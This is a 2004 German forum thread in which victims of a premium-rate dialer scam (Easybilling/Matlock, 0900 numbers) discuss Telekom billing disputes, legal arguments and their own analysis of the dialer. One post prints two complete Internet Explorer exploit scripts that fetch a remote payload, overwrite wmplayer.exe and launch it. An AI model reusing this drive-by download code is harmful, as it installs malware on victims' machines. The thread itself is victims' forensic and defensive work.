> Beim Autor Petrus kann demnächst eine komplette Liste angefordert werden
> 
> ...


----------



## blumenwiese23 (11 März 2004)

*telekom*

erstmal danke anna für die pn. weiteres über pn.

@altenpfleger, wenn du meinst, man schreibt mal kurz ein kleines briefchen an die telekom und bittet sie höflichst darum, nur den unstrittigen betrag abzubuchen, dann liegst du falsch. ich habe drei briefe geschickt, beim dritten war dann endlich ruhe. erst nach dem dritten konnte mir die hotline auskunft über meine postenverteilung geben.

@all will die telekom eigentlich das verfahren beschleunigen?? bekam am 5. märz ein antwortschreiben, mit einer frist. ich solle doch bis 12. märz mein buchungskonto ausgleichen. dann ist die telekom aber so nett und schickt mir am 9. märz schon eine kleine eselsbrücke in form von einer mahnung. dort wird verlangt umgehend mein buchungskonto auszugleichen. 

gruss


----------



## blumenwiese23 (11 März 2004)

*Re: Dialerbetrug durch Easybilling & Matlock*

Übrigens habe ich gerade diese € 30 von der Telekom mir wieder gutschreiben lassen, Telekom braucht jetzt von mir nur noch meine Einwendung mit den genauen Angaben in post-schriftlicher Form...

jetzt frag ich mich, gibt es bei der telekom kulanz via gesichtskontrolle?? :evil: 
oder wird gewürfelt?? "...so der praktikant soll jetzt mal auswürfeln..."
vielleicht gelost...
.
.
.
man kann es nicht sagen.


----------



## Petrus (11 März 2004)

*090090000263 Matlock Easybilling DTAG und andere Artisten*

Hi Ernst-Helmut,

ja, ich habe Dich mitgezählt, Deine Erstmeldung war am Do, 22.01.2004, leider noch ohne Nummernangabe.
Ich werde bei der nächsten Veröffentlichung die richtige Nummern-Zuordnung vornehmen.

Ich bin über dieselbe Nummer (090090000423) abgezockt worden, aber gleich viermal.
Wir bleiben am Ball bzw. am Big-Bill !!

Ich habe mich entschlossen, mich von Dirk Schmelz interviewen zu lassen.
Je mehr Geschädigte dazu bereit sind, umso größer wird der Druck auf alle: DTAG, Easybilling, Matlock, ermittelnde Polizei und Staatsanwaltschaft, Regierung und verbesserte Gesetzgebung.

Zitat: "Weil Du aber weder kalt noch heiß bist, sondern lau, will ich Dich ausspeien aus meinem Munde." 
Im Klartext, es gibt zu viele passive Opfer !!

Himmliche Grüße
Petrus 
who is watching everything in the hell


----------



## Ernst-Helmut (11 März 2004)

*Re: Dialerbetrug durch Easybilling & Matlock*

Huhu Blumenwiese,
die Rückerstattung habe ich bisher ausschließlich durch meine Sparkasse durchführen lassen, betreffs Telekom bin ich auf deren Reaktion gespannt wie ein Flitzebogen 
Ernst-Helmut


			
				blumenwiese23 schrieb:
			
		

> Übrigens habe ich gerade diese € 30 von der Telekom mir wieder gutschreiben lassen, Telekom braucht jetzt von mir nur noch meine Einwendung mit den genauen Angaben in post-schriftlicher Form...
> 
> jetzt frag ich mich, gibt es bei der telekom kulanz via gesichtskontrolle?? :evil:
> oder wird gewürfelt?? "...so der praktikant soll jetzt mal auswürfeln..."
> ...


----------



## blumenwiese23 (11 März 2004)

*Re: Dialerbetrug durch Easybilling & Matlock*



			
				Ernst-Helmut schrieb:
			
		

> Huhu Blumenwiese,
> die Rückerstattung habe ich bisher ausschließlich durch meine Sparkasse durchführen lassen, betreffs Telekom bin ich auf deren Reaktion gespannt wie ein Flitzebogen
> Ernst-Helmut
> 
> ...



entschuldigung, wollte ja eh nicht dich anprangern. sondern die dtag. 
pass auf, sie buchen es erneut ab. 


gruss


----------



## TSCoreNinja (11 März 2004)

@Alle Matlock Geschaedigten:

habe gestern abend aus Langeweile Peter Huths Surftipps fuer die Maximierung der Telefonrechung befolgt, und meine weitgehend ungenutzten Windowspartition zum Abschuss freigegeben  Das Ganze mit fester Internetanbindung und installiertem 0900 Warner, sowie SnagIt zum Festhalten des Panoramas als AVI. 

Interessante Beobachtungen:

-Nach dem Ausflug waren meine Temporary Internet Files weg. Sehr schade, haette gerne die verwendeten JavaScripts analysiert. Aber etwas habe ich dank Hinweise von Betroffenen trotzdem gefunden, siehe weiter unten.

-Peter Huths URL loest eine Einwahl bei 090090000422 aus, die laut RegTP Datenbank Eintrag auf Matlock zugelassen ist, mit 3 Dialern 


> Reg.-Nr.: 90090000422-734801 vom : Dec 9 2003 10:20AM
> Hash - Wert :d88598d769b6c6f59b39f4b730c8f8ae
> 
> Reg.-Nr.: 90090000422-755973 vom : Dec 17 2003 1:33PM
> ...



-Mein Dialer behauptet, er sei der letzterer vom Hashwert. Ist er aber nicht. Genauer gesagt gibt es nicht nur einen, sondern zwei Dialer, ein kostenloses Extra, der Benutzer sollte dies schaetzen, sonst erhaelt man im Preis der Einwahl ja immer nur einen. Erst eine Datei access.exe, die eine gepackte Datensektion hat, aus der die zweite erstellt wird, und mit Kommandozeilenparametern aufgerufen wird, dann eine Datei mit zufaellig erzeugtem Namen. Beide haben andere Hashwerte.

-die Kommandozeilenparameter zum Starten der zweiten exe Datei sind gemaess Blick in meine Kristalkugel  zweifach vorhanden, welche verwendet werden, weiss ich nicht sicher.
1. Satz
-cid=DE 
-ph=0E0000003BEDB750CEF0B678C360CE3734492DB2
-usr=XXXXXXXXXXX (wg evt sensitiver Daten weggekuerzt)
-nospk=true 
-url=http://........-/galleries/
2. Satz
-cid=DE 
-ph=0E0000003BEDB750CEF0B678C360CE3734492DB2
-usr=XXXXXXXXXXX (wg evt sensitiver Daten weggekuerzt)
-web=yes 
-nospk=true 
-url=http://.....xxx-/galleries/

Allerdings schaltet der Zusatz -web=yes die Einwahlaufforderung ab beim Aufruf der zweiten Datei per Hand :evil: :devil2:

-Interessant an meinem Video ist, dass der Dialer sich nicht ohne Aufforderung einwaehlt. Nur erfolgt die Eingabe auf der Webseite (JavaScript)! Dann meldet sich auf einmal der 0900 Warner, danach bekomme ich die access.exe zum Download angeboten. Wieso dass, fragt sich der Laie. Zugegebnermassen hatte ich vorher dem Download von access.exe bereits einmal zugestimmt, trotzdem kann es nicht mit rechten Dingen zugehen, wenn automatisch eine Datei auf meinem Rechner ausgefuehrt wird.

-habe (nicht von dieser Einwahl, aber identischer URL) zwei Dateien, die einen bekannten Remote Exploit des Internet Explorers ausnutzen. Leider funktioniert der Dialerdownload nicht, da evt ein Cookie oder so etwas auf meinem Rechner fehlte (?!). Bin fuer Tipps offen, wie man das umgehen kann. Dateien des Exploits sind angehaengt. AVI des Einwahlvorgangs bzw exe Dateien ggf auf Anfrage.  

Gruesse,
TSCoreNinja

_URLs gelöscht tf)Moderator_


----------



## TSCoreNinja (11 März 2004)

@mods, bitte URLs entfernen, habe sie ubersehen, und kann irgendwie das Posting nicht editieren. Sorry


----------



## technofreak (11 März 2004)

TSCoreNinja schrieb:
			
		

> @mods, bitte URLs entfernen, habe sie ubersehen, und kann irgendwie das Posting nicht editieren. Sorry



Auf Grund des Mißbrauchs der Möglichkeit Postings nachträglich zu löschen bzw, zu verfälschen
wurde diese Möglichkeit ab sofort auch für angemeldete User deaktiviert. 
(Dies gilt nicht für dich, aber diese Feature können nur für alle aktiviert, bzw deaktiviert werden )

Gruß 
tf


----------



## Petrus (11 März 2004)

*090090000263 et al.*

Hallo Fans,

Zum besseren Verständnis, was in unserer Republik abläuft, ein paar unfrisierte Gedanken von mir:


Einzel-Verbindungs-Nachweis (= EVN), Datenschutz und die Perversion, die die DTAG daraus gemacht hat.


EVN damals:
Früher konnte der Telefon-Kunde sich nur aktiv mittels Wählscheibe oder Tastatur ins Telefon-Festnetz einwählen. Er hätte sich selbst jederzeit einen lückenlosen, vollständigen EVN anfertigen können, ganz einfach indem er jedes Gespräch mit Uhrzeit, Zielnummer, angewählten Fernsprechteilnehmer usw. protokolliert hätte. Inzwischen gibt es sinnreiche elektronische Vorrichtungen, die ihm diese Arbeit abnehmen könnten: Impulszähler, Gebührenzähler usw.

EVN heute:
Aber der Telefon-Kunde bekam von der Deutschen Bundespost oder deren Nachfolgeorganisation, der Deutschen Telekom AG ( = DTAG) die kostenlose !!! Möglichkeit angeboten, dass die DTAG diesen EVN für ihren Kunden erstellt und jeder Monatsrechnung beifügt. Leider haben damals nur sehr wenige Kunden von diesem Angebot Gebrauch gemacht.

Datenschutz: 
Es ist selbstverständlich, dass die EVN-Daten aller DTAG-Kunden vertraulich behandelt werden müssen, auch ohne Datenschutzgesetz, aber vergleichbar dem Bankgeheimnis.
Die EVN-Daten des Kunden A gehen weder die übrigen Kunden , noch die Mitarbeiter der DTAG etwas an, es handelt sich schließlich um Privatsphäre. Ich gehe davon aus, dass auch die Ermittlungsbehörden ohne richterliche Vollmacht keinen Zugang zu den Daten des EVN haben (dürften).

Zeitalter der Dialer
Soweit schön und gut. Jetzt kommt das Zeitalter der Dialer, und vorbei ist es mit der Kontrolle des DTAG-Kunden über sein Telefon-konto, seine Telefon-Monatsrechnung, zumindest bei den inzwischen unterprivilegierten DTAG-Kunden, die noch keinen EVN beantragt haben.

Ich weiß nicht, welche Rechtsauffassung die DTAG vertritt, ich weiß nicht einmal, ob sie überhaupt eine vertritt, wenn ich folgendes erfahre.
Ein DTAG-Kunde hat eine überhöhte Rechnung und begehrt von der DTAG Auskunft, welche Firma oder welcher Diensteanbieter mit welcher Zielnummer ihn auf der Telefonrechnung belastet hat (bzw. ihm von der DTAG belastet wurde). Die DTAG verweigerte bis zum 01. Februar 2004 die Auskunft mit Hinweis auf den Datenschutz.

Ich denk, mich küsst eine Giraffe.
Wessen Daten muß die DTAG da denn schützen, es sind doch meine eigenen Daten, die Verbindungen, die ich von meinem Rufnummernkonto (oder Konten) selbst getätigt habe oder deren Betätigung durch Dritte mittels eines Dialers ich wissentlich und voll informiert zugestimmt habe (oder etwa doch nicht zugestimmt habe?). Die Erfassung der EVN ist eine vertrauliche und persönliche Dienstleistung, die von einigen Kunden, die schon früher als andere vorsichtig und misstrauisch waren, an die DTAG delegiert wurde.
An dieser Stelle möchte ich auch den Finger in die Wunde dieser Ungleichbehandlung legen: Kunden mit EVN und solche ohne, die im Schadensfall dann auch wesentlich schlechter gestellt sind. Ist das verfassungskonform ???

Herrschaftswissen der DTAG:
Weiß die DTAG mehr als ich ? Ja sicher, die DTAG sieht ja auf den bei ihr im Hause erstellten EVN’s aller Kunden, dass der ein oder andere ihrer „Auftraggeber“, sprich „Mehrwertdienste-Anbieter“ mit seinem (inzwischen natürlich bei der RegTP registrierten) Dialer die ein oder andere Einwahl auf dem Rufnummernkonto des Auskunft begehrenden Kunden veranlasst hat. Ja und hier setzt jetzt die „Datenschutzphilosophie“ der DTAG ein. Der Auftraggeber, auch „Mehrwertdienste-Anbieter“ genannt, ja der muß doch auch Datenschutz geniessen !! Dessen Intimsphäre muß doch vor dem DTAG-Kunden geschützt werden, ist doch ganz klar, oder ? Und nur im Dunkeln ist gut munkeln !!

Fiktives Beispiel aus dem Bankwesen:
Damit es noch klarer wird, will ich ein fiktives Beispiel aus dem Bankwesen bringen:
Der Kunde A hat auf seinem Girokonto Einzahlungen, Auszahlungen und Überweisungen veranlasst, dafür bekommt er von seiner Bank Kontoauszüge. Normal !!
Eines Tages erhält er ein Schreiben seiner Bank, dass der Datenschutzbeauftragte der Bank eine Innen-Revision durchgeführt hat und zu der Feststellung gekommen ist, dass die Kontoauszüge etwas verändert werden müssen: sie werden nur noch einmal monatlich verschickt und enthalten nur noch die Summe aller Zahlungseingänge und aller Zahlungsausgänge. Warum ?? Weil es ja inzwischen das allseits beliebte Lastschriftverfahren gibt, und weil die Daten der lastschreibenden Firmen schutzbedürftig sind. Kapiert ? kapiert !! es war ja – wie erwähnt – nur ein fiktives Beispiel, welches die groteske (perverse) Logik der DTAG verdeutlichen soll. Es ist aber kein Zufall, dass es zwischen dem Lastschriftverfahren und dem Verhalten viel zu vieler Dialer so große Parallelen gibt.


Logische Konsequenz:
Die DTAG hat in der Vergangenheit dem EVN-Auskunft-ersuchenden Kunden den Einblick in sein eigenes Rufnummernkonto so heftig und nachhaltig verwehrt hat, dass es erst eines Gesetzes bedurfte, um die DTAG zur Auskunft zu zwingen. Diese Auskunft hätte die DTAG schon vorher ebenso selbstverständlich gewähren müssen, wie die Bank detaillierte Kontoauszüge erstellt und dem Kunden zur Verfügung stellt. Also muß die DTAG ein starkes Motiv haben, wenn sie ganz anders (nach Gutsherrenart) verfährt. Der Datenschutz ist nur ein Vorwand, der Schutz der Auftraggeber oder „Mehrwertdienste-Anbieter“ bzw. das mit diesen Firmen abgewickelte lukrative Geschäft ist der einzige und wahre Grund.

Juristische Konsequenz:
Durch die Vorenthaltung von berechtigten Informationen, auf die der DTAG Endkunde Anspruch hat, durch diese Vorenthaltung hat die DTAG Beihilfe zum Betrug und Strafvereitelung begangen und damit gegen den berühmten Paragraphen 261 StGB (Geldwäsche) verstoßen.
Der 09009-Dialer, der auf meinem Rechner viermal nacheinander im Abstand von 6 bis 13 Sekunden dieselbe Zielnummer 0000423 angewählt hat, verursacht durch wiederholte, unbeabsichtigte (spontane) Einwahl Kosten und ist damit betrügerisch. Folglich ist die Bereitstellung des Dialers im Sinne der Paragrafen 263 und 263a des Strafgesetzbuchs (StGB) strafbar. Damit wiederum liegt eine Vortat gemäß Paragraf 261 StGB vor ("Geldwäsche"). Die Telekom unterstützt durch ihre Auskunftsverweigerung Betrüger nicht nur dabei, ihre Beute zu sichern (Beihilfe zum Betrug), sondern sie schützt sie auch vor Strafverfolgung (Strafvereitelung).

Mit himmlichen Grüßen

Petrus


----------



## Anonymous (11 März 2004)

Tach zusammen !

Ich kämpfe seit kurzem gegen unsere gemeinsamen Freunde !
Petrus hat mich bewogen, in die Öffentlichkeit zu gehen.

Der Ärger begann am 02.01.04 mit 090090000264. Den Stecker 
konnte ich leider erst mit 4 Sekunden Verspätung ziehen.

Den Dialer konnte ich isolieren : 
(Web.exe Version 2.0.0.4 mit dem Hashwert : 6AF1E01A7D6B5E892ED6D90B5562EF0CD26A895C 
ermittelt mit HashAnzeige der RegTP).

Da haben sich unsere Freunde wohl einen kleinen Lapsus erlaubt, denn
der Hashwert gehört zur Version 3.0.0.4 vom Feb.04.

Die RegTP wurde informiert.

Somit sollte die Registrierung der Dialer Versionen 2.0.0.4 und auch 
3.0.0.4 mangels Eindeutigkeit in Frage gestellt sein.

Desweiteren kann ich die Idee, dass der eigentliche Zugriff über eine
Manipulation des Media Players V9 erfolgte, nur unterstützen.
Ich fand ebenfalls eine Datei wmplayer.exe.bak, allerdings mit einer 
Grösse von 340KB, anstatt 73KB.

Die ersten 73KB der Dateien sind identisch. Dann folgt bisher nicht 
identifizierter Code ??. Am Ende sind allerdings Rückstände 
des wmplayer V7 (Fileinfo) zu finden.

Schauen wir mal, was noch kommt.

Tchuess


----------



## günni14 (11 März 2004)

Leider die Anmeldung verloren. Der Router schaltet nach 60s ab.
Das letzte Posting war von Günni14.

Nu aber,
Tchuess


----------



## Opfer (11 März 2004)

LOL ICH BIN SO SCHEISSE ! Sorry, aber das musste raus. Ich bin echt doof wie Brot ! Ich habe den bei mir eingesetzten Dialer die ganze Zeit auffer Pladde und bin nicht clever genug das zu merken. Aber besser spät als nie  An die Freaks...ratet wie er heisst...nein...nicht Web.exe...sondern...Tadaaa: wmplayer.exe  Richtig bei mir wurde das Exploit ausgenutzt, und ich hab da schon tausendmal nachgeguckt und jetzt gerade is mir erst aufgefallen, das der Dialer gar kein Icon hat  Ein kurzer Blick hinein: UPX - alles klar  Datum passt auch  Jetzt wird erstmal kräftig analysiert. Ich habe bereits eine weitere Demo, die das ganze Reproduziert, aber die is noch net ganz fertig. Auf jeden Fall is das noch cleverer als die Sache mit den Scripts die die Exe dann auf dem Rechner zusammenbasteln. Zur verständigung hier die Ultrakurzversion wie das ganze Funktioniert:

Per Javascript wird der Dialer von einer Seite geladen und als wmplayer.exe im Windows Media Player verzeichniss gespeichrt.
Dann wird ein Link aufgerufen der eine Videodatei abspielen soll. Logischerweisse wird dazu dann eben dieser wmplayer.exe gestartet und Tata - der Dialer aktiviert sich ^^

Ich versteh echt nicht warum mir das die ganze Zeit über nicht aufgefallen ist...hmm...manchmal sieht man den Wald vor lauter Bäumen nicht 

Gruss
Opfer


----------



## juanito (11 März 2004)

Hallo,



			
				Anonymous schrieb:
			
		

> Den Dialer konnte ich isolieren :
> (Web.exe Version 2.0.0.4 mit dem Hashwert : 6AF1E01A7D6B5E892ED6D90B5562EF0CD26A895C
> ermittelt mit HashAnzeige der RegTP).
> 
> ...



alle Dialer die ich bisher downgeloaded haben, haben Hashwerte die am 4. Februar registriert wurden und alle diese Dialer zeigen eine Versionsnr. die zu einer früheren Registrierung gehört. 

Ich vermute, daß nur die Dialer die am 4. Februar registriert wurden eingesetzt werden... auch schon vor dem 4. Februar...

Blöd nur, wenn die Dialer die vor dem 4. Febraur registriert wurden, ein anderes Verhalten zeigen würden...



			
				Anonymous schrieb:
			
		

> Desweiteren kann ich die Idee, dass der eigentliche Zugriff über eine
> Manipulation des Media Players V9 erfolgte, nur unterstützen.
> Ich fand ebenfalls eine Datei wmplayer.exe.bak, allerdings mit einer
> Grösse von 340KB, anstatt 73KB.
> ...



Das ist aber in der Tat interessant. Meine wmplayer.exe.bak war identisch mit der Original wmplayer.exe

Gruß


----------



## Opfer (11 März 2004)

Edit: In der Exe sind mehrere Exes drinne  Das gibt jetzt ein bissel friemel Arbeit, aber das tolle ist ja, das man immer schön die Einsprungpunkte sieht. Ich werde jetzt mal schauen, wie viele Programme sich wirklich in dem Teil befinden und dann schaun wir mal, was da genau vor sich geht.
Also, diejenigen die Betroffen sind. Schaut mal, ob ihr im Verzeichniss:
C:\Programme\Windows Media Player eine Datei mit dem Namen wmplayer.exe habt die *kein* Icon hat habt. Die Grösse der Datei geträgt 60kb (61.440 Bytes). Wenn ja, dann packt die am besten mal in ein Archiv (z.B. mit Winzip oder Winrar) und löscht die exe auf der Platte - in jedem Fall aber vorher sichern !

Gruss
Opfer


----------



## TSCoreNinja (11 März 2004)

*JScript Exploit*

For the record, nachdem die Attachments aus dem letzten Posting verschwundern sind, und ich es nicht mehr aendern kann, hier der JScript Code:

```
<SCRIPT LANGUAGE="JScript.Encode">function preparecode(code) 
{
    result = '';
    lines = code.split(/\r\n/);
    for (i=0;i<lines.length;i++) 
    {
        line = lines[i];
        line = line.replace(/^\s+/,"");
        line = line.replace(/\s+$/,"");
        line = line.replace(/'/g,"\\'");
        line = line.replace(/[\\]/g,"\\\\");
        line = line.replace(/[/]/g,"%2f");
        line = line.replace(/[?]/g,"%3f");
        line = line.replace(/[&]/g,"%26");
        line = line.replace(/[=]/g,"%3d");
        if (line != '') 
	{
            result += line +'\\r\\n';
        }
    }
    return result;
}
function doit() 
{
    str="document.write (\"<script language=\\\"JScript.Encode\\\" SRC=
\\\"http://$DIALERURL/loader/get.php?id=2&sess_id=$SESSIONID\\\\\"><\/script>\");";
    mycode = preparecode(str);
    myURL = "file:javascript:eval('" + mycode + "')";
    window.open(myURL,"_media")
}
window.open("403.php","_media");
setTimeout("doit()", 500);

</SCRIPT>
```
Script 1

```
var ldr = new ActiveXObject("Microsoft.XMLHTTP");
var origMP = new ActiveXObject("Microsoft.XMLHTTP");
ldr.Open("GET", "http://$DIALERURL/loader/get.php?id=3&sess_id=$SESSIONID\\",0);
ldr.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
var g_Restored=0;
function FSave(path)
{
    s.Write(ldr.responseBody);
    lpath = "file://"+path.replace(/[\\]/g,"/")+"wmplayer.exe";
    origMP.Open("GET", lpath,0);
    origMP.Send();
    s.SaveToFile(path+"wmplayer.exe",2);
    s.Write(origMP.responseBody);
    s.SaveToFile(path+"wmplayer.exe.bak",2);    
}
function FRestore(path)
{
    var sv = new ActiveXObject("ADODB.Stream");
    sv.Mode = 3;
    sv.Type = 1;
    sv.Open();
    var tMP = new ActiveXObject("Microsoft.XMLHTTP");
    lpath = "file://"+path.replace(/[\\]/g,"/")+"wmplayer.exe.bak";
    tMP.Open("GET", lpath,0);
    tMP.Send();
    sv.Write(tMP.responseBody);
    sv.SaveToFile(path+"wmplayer.exe",2); 
    g_Restored=1;
}
try{
    FSave("C:\\Program Files\\Windows Media Player\\");
}catch (e){};
try{
    FSave("D:\\Program Files\\Windows Media Player\\");
}catch (e){};
try{
    FSave("C:\\Programme\\Windows Media Player\\");
}catch (e){};
try{
    FSave("D:\\Programme\\Windows Media Player\\");
}catch (e){};


location.href = "mms://";
function Restore() {
    if (g_Restored==1)
    {
	return;
    }
try {
    try{
        FRestore("C:\\Program Files\\Windows Media Player\\");
    } catch (e) {};
    try{
        FRestore("D:\\Program Files\\Windows Media Player\\");
    } catch (e) {};
    try{
        FRestore("C:\\Programme\\Windows Media Player\\");
    } catch (e) {};
    try{
        FRestore("D:\\Programme\\Windows Media Player\\");
    } catch (e) {};
} catch (e) { alert (e.description);};
}
setTimeout("Restore()",500);
setTimeout("Restore()",1000);
setTimeout("Restore()",2000);
setTimeout("Restore()",3000);
setTimeout("Restore()",4000);
setTimeout("Restore()",5000);
setTimeout("Restore()",6000);
setTimeout("Restore()",7000);
setTimeout("Restore()",8000);
setTimeout("Restore()",9000);
setTimeout("Restore()",10000);
```
Ziemlich identisch zu dem auf Heise verwendeten Code. 
Gruesse,
TSCoreNinja


----------



## Opfer (11 März 2004)

So, nochmal ich. Also: Bei mir bestand die wmplayer.exe insgesammt aus 4 verschiedenen exes. Block 1 war crap mit Dialerfragmenten (evtl zur Übergabe der Parameter). Block 2 war der eigentliche Dialer selber (Wow...der hat ja sogar ein Icon ). Block 3+4 war wieder crap. Das interesante ist, das Block 1,3 und 4 mit UPX 1.24 gepackt waren, während Block 2 die neue Beta 1.90 benutzt hat. Wie üblich ist alles schön eingestellt. Also -web=true -nospk=true usw.
Ich denke, die Luft für Eggebeck und Matlock wird langsam seeeeeehr dünn...

Gruss
Opfer


----------



## juanito (11 März 2004)

Hi,



			
				Opfer schrieb:
			
		

> Per Javascript wird der Dialer von einer Seite geladen und als wmplayer.exe im Windows Media Player verzeichniss gespeichrt.
> Dann wird ein Link aufgerufen der eine Videodatei abspielen soll. Logischerweisse wird dazu dann eben dieser wmplayer.exe gestartet und Tata - der Dialer aktiviert sich ^^



ich habe am Tag meiner Einwahl später einen Packet capture mit meinem Firewall gemacht (ich habe das Log noch nicht analysiert) aber in dem Log taucht eindeutig "web.exe" auf. Wenn alles in der wmplayer.exe drinnen ist,  wäre das gar nicht nötig
Dies hieße aber auch der Dialer kommt auf unterschiedliche Arten auf den Rechner...

Kannst Du mir Deine wmplaye.exe zuschicken?

Gruß


----------



## TSCoreNinja (11 März 2004)

Opfer schrieb:
			
		

> während Block 2 die neue Beta 1.90 benutzt hat.


Wo gibt es die?  :lol:


----------



## Opfer (11 März 2004)

juanito schrieb:
			
		

> Hi,
> 
> 
> 
> ...



Hehe, wenn es nur einen Weg gäbe, wäre es ja langweilig  Ausserdem wäre ansonsten die Möglichkeit schnell gefixt. Dazu kommt, das höchstwahrscheinlich zuvor schon geprüft wird, über welche Möglichkeiten der Dialer auf den Rechner gespielt werden kann, und die beste Möglichkeit wird dann benutzt. Wegen der exe - schreib mir ne PM mit deiner Mail 

@TSCoreNinja: http://upx.sourceforge.net/ oberster Link 

Gruss Opfer


----------



## eb-victim (11 März 2004)

TSCoreNinja schrieb:
			
		

> Opfer schrieb:
> 
> 
> 
> ...


http://upx.sourceforge.net (aber keine damit gepackten Programme verbreiten, so etwas machen seriöse Leute nicht!).


----------



## eb-victim (11 März 2004)

Opfer schrieb:
			
		

> Hehe, wenn es nur einen Weg gäbe, wäre es ja langweilig


Noch besser: jeder Dialer, der durchkommt, trennt die bestehende Verbindung und baut eine neue Verbindung auf.
Wenn's "gut" läuft, sind das EUR 150 innerhalb einer Minute ...


----------



## Anonymous (12 März 2004)

*Re: Easy Billing AG und ExDialer*

hallo,
ja, mir ist mit der besagten nummer 090090000423 gleiches passiert, hab einspruch bei der telekom gemacht..........aber die behauptet alles sei legal und kontrolliert...........
gruss
peter


----------



## juanito (12 März 2004)

Hi,

hab mein packet capture mal genauer angesehen. Bevor die Internetverbindung getrennt wird, d.h. ab dann wäre web.exe dran wird bei mir ein file namens access.exe downgeloaded.

Das interessante daran ist, irgendwann tauchen dann Sachen auf wie


META-INF/MANIFEST.MFPK    Tf$/íE¶$  ÓN  
             Æ   Counter.classPK    Tf$/Ã½l  €               ·%  VerifierBug.classPK    Tf$/™õ@üÁ   ð                (  Gummy.classPK    Uf$/‚AgTÇ  ï               )  Beyond.classPK      ˆ/ù¦m~  H
             €,  Worker.classPK   ¸‰:0ç›?=   X   
         ¤¯3  web.exeUT ¼<@Ux  PK    

ist zwar nur ein Notepad Abzug ... aber das VerifierBug.class deuten laut Internet auf einen Trojaner namens *Exploit-Byte-Verify *hin

Hat sowas ähnliches schon jemand entdeckt...

Gruß
 Juanito


----------



## Fidul (12 März 2004)

TSCoreNinja schrieb:
			
		

> -Mein Dialer behauptet, er sei der letzterer vom Hashwert. Ist er aber nicht. Genauer gesagt gibt es nicht nur einen, sondern zwei Dialer, ein kostenloses Extra, der Benutzer sollte dies schaetzen, sonst erhaelt man im Preis der Einwahl ja immer nur einen. Erst eine Datei access.exe, die eine gepackte Datensektion hat, aus der die zweite erstellt wird, und mit Kommandozeilenparametern aufgerufen wird, dann eine Datei mit zufaellig erzeugtem Namen. Beide haben andere Hashwerte.


Interessant. Diese Methode scheint momentan groß in Mode zu sein, siehe hier (bitte etwas Vorsicht walten lassen). Wieder ein Fall für die _zuständigen staatlichen Stellen_.


----------



## cicojaka (12 März 2004)

Dieser link ist Blaues Gold!


----------



## Opfer (12 März 2004)

Ich muss mich mal kurz revidieren: In der mplayer.exe sind nicht vier, sondern sechs exe Dateien versteckt gewesen  
Das Schema ist immer das gleiche: Zuerst kommt eine (entpackt) 5824 Byte grosse Datei (eventuell eine Art Loader) dann folgt der eigentliche Dialer (entpackt 35136 Bytes). Das ganze halt 3 mal. Angegeben wird der Dialer mit V2.0.0.3 - Leider kann ich momentan den Hashwert nicht checken da die RegTP Seite nicht geht. Mich wundert allerdings ein bissel warum das ganze 3 Mal in der mplayer.exe ist...hmm....*kopfkratz* Naja...schaun wir mal weiter 

Gruss
Opfer


----------



## hrachka (12 März 2004)

respekt an alle, die der Sache näher kommen. Sollte es euch gelingen, den Trick von Easy Billing zu knacken, wie wäre es eine Belohnung von allen Betroffenen an Euch. Lieber paar Euro an klüge Köpfe als an Abzocker. 
Ich finde es gerecht, oder!


----------



## Ernst-Helmut (12 März 2004)

Why not?

Falls tatsächlich jemand von uns gefilmt werden sollte, greift jener ja im Wesentlichen auf Infos aus diesem Forum zurück, also wär so was nur fair!?!
(':bussi:')

Schöne Grüße an alle Unfrustrierten und -entwegten!
Ernst-Helmut 



			
				hrachka schrieb:
			
		

> respekt an alle, die der Sache näher kommen. Sollte es euch gelingen, den Trick von Easy Billing zu knacken, wie wäre es eine Belohnung von allen Betroffenen an Euch. Lieber paar Euro an klüge Köpfe als an Abzocker.
> Ich finde es gerecht, oder!


----------



## Anonymous (12 März 2004)

*Dialer Easybillig*

habe mich an regtp gewendet. Habe den Namen des Verantwortlichen der Seite erfahren.

.....
Hauptstr. 4
24852 Eggebek

Bei mir waren es 10sec. für 25euro. Ich habew die Rechnung sofort stornieren lassen, danach die Differenz ohne Dialer überwiesen.

Der Herr ....... ist nicht einmal mit einem Telefonanschluß regestriert.
Ich werde Anzeige gegen den Herrn erstatten, da diese Methode schon
an Hausfriedensbruch grenzt.
Ich habe weder was eingegeben(ja) noch etwas mit Hinweis angeklickt.
Dies sind auch Leute die ohne Skrubel ..... programmieren und verbreiten.
Ich hätte große Lust den Herrn zu besuchen und ihm meine Meinung ins Gesicht zu ......


_aus rechtlichen Gründen editiert , siehe Nutzungsregeln tf/moderator_


----------



## KalleM (12 März 2004)

*Dialer Web.exe*

Hallo, kann mir jemand "web.exe"-Dialer zur Rufnummer 090090000263 zur Verfügung stellen. Möchte damit gegenüber der RegTP die Verstösse gegen die Vfg54/2003 dokumentieren. Schickt mir bitte eine PN, damit ich euch meine E-Mail-Adresse schicken kann.

Besten Dank schonmal ...

:thumb: :thumb: :thumb: :thumb: :thumb: :thumb:


----------



## Anonymous (12 März 2004)

*Hurra gewonnen !!*

Hallo Geschädigte da draussen !
Ich kann euch Mut machen !! Habe soeben von der Telekom die Info erhalten, dass mein Einspruch über den Dialerbetrag (77 € netto ) stattgegeben wurde !!   :bussi: 
Als Begründung wurde genannt, dass der Hashwert auf meinem PC nicht mit den drei registrierten Hahwerten des Dialer (Relax_B) übereinstimmen, und demnach der Dialer rechtswidrig ist.   

Also Leute, die Rätsels Lösung ist der Hashwert, damit kriegt ihr den Dialer am Arsch !    (sorry)


----------



## juanito (12 März 2004)

Hallo,

ich hatte mal die "offizielle Version" des Dialer downgeloaded. Als die Dialog Box kam, hatte ich damals auf speichern geklickt.

Als ich diesen Dialer jetzt nochmal angesehen habe, mußte ich feststellen, daß er nicht bei der RegTP registriert ist. Ebenfalls enthält er wie unten beschrieben das eigentliche .exe file in sich. Das -web=yes taucht aber in meiner Version nciht auf. 
Die Zeile sieht so aus:
-cid=DE 
-ph=0E00000073372E3BDCC33902C5E397E23956C096 
-usr=....  _was -usr  Angabe soll verstehe ich aber nicht... _-nospk=true 
-url=http://.../galleries/



			
				TSCoreNinja schrieb:
			
		

> @Alle Matlock Geschaedigten:
> -Mein Dialer behauptet, er sei der letzterer vom Hashwert. Ist er aber nicht. Genauer gesagt gibt es nicht nur einen, sondern zwei Dialer, ein kostenloses Extra, der Benutzer sollte dies schaetzen, sonst erhaelt man im Preis der Einwahl ja immer nur einen. Erst eine Datei access.exe, die eine gepackte Datensektion hat, aus der die zweite erstellt wird, und mit Kommandozeilenparametern aufgerufen wird, dann eine Datei mit zufaellig erzeugtem Namen. Beide haben andere Hashwerte.
> 
